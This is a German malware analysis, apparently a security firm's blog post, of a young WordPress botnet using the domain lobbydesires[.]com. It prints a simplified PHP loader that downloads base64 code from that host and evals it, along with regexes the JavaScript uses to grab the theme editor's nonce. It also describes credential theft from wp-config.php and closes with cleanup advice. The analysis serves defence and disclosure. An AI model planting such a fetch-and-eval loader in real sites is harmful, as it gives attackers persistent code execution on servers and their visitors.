Lobbydesires-Botnet
Vor Kurzem ging bei Oxydian eine Meldung über Fehlfunktionen mehrerer WordPress-Websites ein. Die Untersuchung dieser Websites ergab, dass sie mit einem kleinen, unbekannten und sehr jungen Botnet infiziert waren. Diese Art der Kompromittierung einer Website gehört zu den Zielen, die bei einem Penetrationstest geprüft werden. Im Folgenden die Analyse:
EDIT 14/07/20: Hier die Skripte zum Erkennen und Bereinigen dieser Malware:
https://github.com/Guiomuh
/WP_Redirect_Botnet_Cleaner
Allgemeine Analyse
Alles begann mit der Entdeckung der folgenden verdächtigen JavaScript-Payload auf einer WordPress-Website:
Schnell wird klar, dass die Website https://lobbydesires[.]com ein C&C-Server (Command and Control) ist, der den Schadcode dieser Malware hostet. So kann der Angreifer die Funktionen des Botnets nach Belieben ändern.
Zunächst zur allgemeinen Analyse dieser Malware. Eine einfache WHOIS-Abfrage zum verwendeten Domainnamen zeigt, dass die Website in den Niederlanden gehostet und am 29. Juni 2020 registriert wurde, also vor gerade einmal 4 Tagen. Und doch wurden in so wenigen Tagen bereits zahlreiche Websites infiziert!
Mit der folgenden Google-Suche lässt sich der Teil der infizierten Websites auflisten, der seit der Infektion indexiert wurde:
intext:lobbydesires[.]com/location.js
Derzeit erscheinen 260 Websites, die tatsächliche Zahl dürfte jedoch angesichts der Zeit, die die Google-Bots zur Neuindexierung einer Website benötigen, deutlich höher liegen.
Technische Analyse: location.js
Hier der Code der Datei location.js, die von der Website lobbydesires.com abgerufen und bei jedem Besuch einer infizierten Seite ausgeführt wird.
Zur Erinnerung: Es handelt sich hier um JavaScript-Code, er wird also im Browser der Person ausgeführt, die die Website besucht, und nicht auf der Website selbst
Der Code ist offensichtlich obfuskiert, es braucht etwas Arbeit, um ihn verständlich zu machen.
Nach etwas Aufräumarbeit finden sich in dieser Datei 3 JS-Funktionen:
check_adm()
make_theme()
reqListener()
reqListener()
Die letzte Funktion reqListener() ist leer, was darauf hindeutet, dass das Botnet noch nicht fertig ist; darauf wird weiter unten noch eingegangen.
check_admin()
Diese Funktion ist die Hauptfunktion der Malware, sie wird nach der Definition der Funktionen ausgeführt. Sie prüft anhand der Cookies, ob der Benutzer, der die infizierte Seite besucht, der Administrator der WordPress-Website ist. Ist das nicht der Fall, wird der Benutzer auf die Login-Seite umgeleitet. Handelt es sich um den Administrator, wird die Funktion make_theme() aufgerufen.
Dieser Mechanismus blockiert die Seite also so lange, bis der Administrator sie besucht, ziemlich hinterhältig..
make_theme()
Diese Funktion sendet zunächst eine GET-Anfrage an folgende Adresse:
http://[victime.com]/wp-admin/theme-editor.php?file=header.php
Diese Seite ist die WordPress-Seite, über die der Administrator das aktive Theme bearbeiten kann, hier genauer gesagt die Datei header.php des Themes.
Die Malware liest dann mithilfe regulärer Ausdrücke einige Informationen aus der Seite aus. Diese Informationen benötigt sie, um später mit der Seite zu interagieren.
i = /name=”newcontent”.*?[>]([\/\s\/\S]*?)<\/textarea/g.exec(n),
d = /<option.*?value=”(.*?)”.*?selected/g.exec(n),
p = /name=”nonce”([ ]+)value=”([^”]+)”/g.exec(n);
- i[1] enthält den Inhalt von header.php vor der Änderung
- d[1] enthält den Namen des verwendeten Themes
- p[2] enthält den Wert der Nonce, die für die folgenden Anfragen verwendet wird
Anschließend prüft die Funktion, ob das Theme bereits infiziert ist, indem sie nach der Zeichenkette “sdfsd23” sucht (enthalten in der 2. Payload (PHP), die weiter unten gezeigt wird). Ist das Theme noch nicht infiziert, werden an seinem Anfang 2 Payloads eingefügt. Eine in JavaScript, ähnlich der vorherigen:
Und eine mit PHP-Code: (hier zum besseren Verständnis vereinfacht)
<?php
$a = https://lobbydesires[.]com/n.txt;
$b = "sdfsd234";
file_put_contents($b,"<?php".base64_decode(file_get_contents($a)));
include($b);
unlink($b);
eval(base64_decode(file_get_contents($a)));
?>
Dieser PHP-Code wird also bei jedem Seitenaufruf auf dem Server ausgeführt. Doch was bewirkt er?
Technische Analyse: Persistenz im WP-Theme
Die vorherige PHP-Payload lädt die Datei https://lobbydesires[.]com/n.txt herunter und führt sie aus
Diese Datei ist ein base64-kodiertes PHP-Skript
Zur Erinnerung: Es handelt sich hier um PHP-Code, er wird also auf dem infizierten Server ausgeführt
Der Kern dieser Datei enthält mehrere Funktionen, vereinfacht gesagt sucht er jedoch ab dem Wurzelverzeichnis des Servers nach bestimmten Dateien, um sie zu infizieren.
Das bedeutet, dass auch andere Websites auf demselben Server infiziert werden können!!
Diese Suche lässt sich in 4 Teile gliedern:
- Die Suche nach der Datei wp-config.php
- Die Suche nach Dateien, deren Name “.ph” oder “.htm” enthält
- Die Suche nach Dateien, deren Name “index.” und (“.ph” oder “.htm”) enthält
- Die Suche nach Dateien, deren Name “.js” enthält
Auch wenn die Suchmethode nicht optimal ist, wird deutlich, dass die Malware JS-, PHP- und HTML-Dateien ins Visier nimmt. In jedem Fall wird der gefundenen Datei eine JavaScript-Payload ähnlich den vorherigen hinzugefügt, außer bei wp-config.php
Diese Datei wird nämlich, sobald sie gefunden ist, nach den Zugangsdaten der SQL-Datenbank von WordPress durchsucht. Diese werden anschließend genutzt, um die JavaScript-Payload in alle WordPress-Beiträge einzufügen.
Ein Baby-Botnet?
Wie bereits erwähnt, scheint dieses Botnet noch nicht fertig zu sein. Es verfügt noch über keine Payloads, mit denen sich Angriffe starten ließen, und einige Funktionen sind unvollständig.
Als Beispiel sei die Datei rebut.log genannt:
Diese Datei wird bei der Ausführung des bösartigen PHP-Codes angelegt und enthält den Zeitpunkt seiner letzten Ausführung. Zu Beginn der Ausführung wird anhand dieser Datei geprüft, ob die letzte Ausführung mehr oder weniger als 6400 Sekunden zurückliegt. Vermutlich soll so verhindert werden, dass die Malware bei jedem Seitenaufruf erneut läuft, was die Website stark verlangsamen kann. In beiden Fällen wird jedoch dasselbe ausgeführt, was widersprüchlich ist..
Der Dateiname rebut.log (französisch für „Ausschuss“) scheint ein Hinweis darauf zu sein, dass der Angreifer französischsprachig ist..
Außerdem fällt auf, dass die JavaScript-Payloads einen ungenutzten Parameter besitzen, der angibt, von wo aus sie aufgerufen wurden, zusammengefasst:
location.js?i=1 -> from index.php
location.js?s=1 -> from .php .htm or JS
location.js?qs=1 -> from SQL DB article
location.js?v=1 -> from Infected Theme (header.php)
Hinzu kommt eine erhebliche Redundanz im Code, was auf die Unerfahrenheit seines Urhebers hindeuten kann.
Schließlich fehlt eine Redundanz beim Steuerungsserver. Normalerweise werden bei solcher Malware mehrere infizierte Server redundant zur Ablage der Codedateien genutzt, damit der Angreifer die Kontrolle über sein Botnet behält, selbst wenn ein Server gemeldet wird.
Hier wird nur ein einziger Server verwendet, und dieser wurde gemeldet 😀 es ist also nur eine Frage der Zeit, bis dieses Botnet unbrauchbar wird.
EDIT (05/07/2020): Der Server ist inzwischen nicht mehr erreichbar
Fazit
Auch wenn dieser Virus derzeit harmlos ist, ist er sehr persistent und aktualisiert sich bei jedem Besuch einer infizierten Seite. Das kann sich also bald ändern, und dieses Botnet könnte schnell seine wahre Funktion offenbaren. Eine infizierte Website muss daher unbedingt bereinigt werden. Zu diesem Zweck hat Oxydian ein Skript veröffentlicht, das eine vollständige Bereinigung dieser Malware ermöglicht. Da die Malware sehr persistent ist, würde schon eine einzige übersehene Seite genügen, um alle auf dem Server gehosteten Websites vollständig neu zu infizieren.
Als schnelle Übergangslösung lässt sich die Domain lobbydesires[.]com in der Firewall blockieren oder ersatzweise in die hosts-Datei eintragen. Diese Maßnahme ist jedoch nicht vollständig, sie verhindert lediglich das Herunterladen und damit die Aktualisierung der im Theme eingefügten PHP-Payload.
Bleibt die Frage, wie die Erstinfektion zustande kam. Eine Hypothese wäre eine Stored-XSS-Schwachstelle in einer nicht aktualisierten WordPress-Installation oder einem veralteten Plugin. Solche Schwachstellen sind verbreitet und würden es erlauben, die initiale JS-Payload einzuschleusen und so die erste Seite zu infizieren, die anschließend die gesamte Website infiziert, sobald der Administrator sie aufruft. Dieselbe Familie von Anwendungsschwachstellen wird in der Analyse zu mitm6 untersucht, einer Übernahme des internen Netzwerks über IPv6.
Empfehlung: Zum Schutz vor dieser Art von Angriff ist es unerlässlich, WordPress und alle Plugins stets aktuell zu halten!
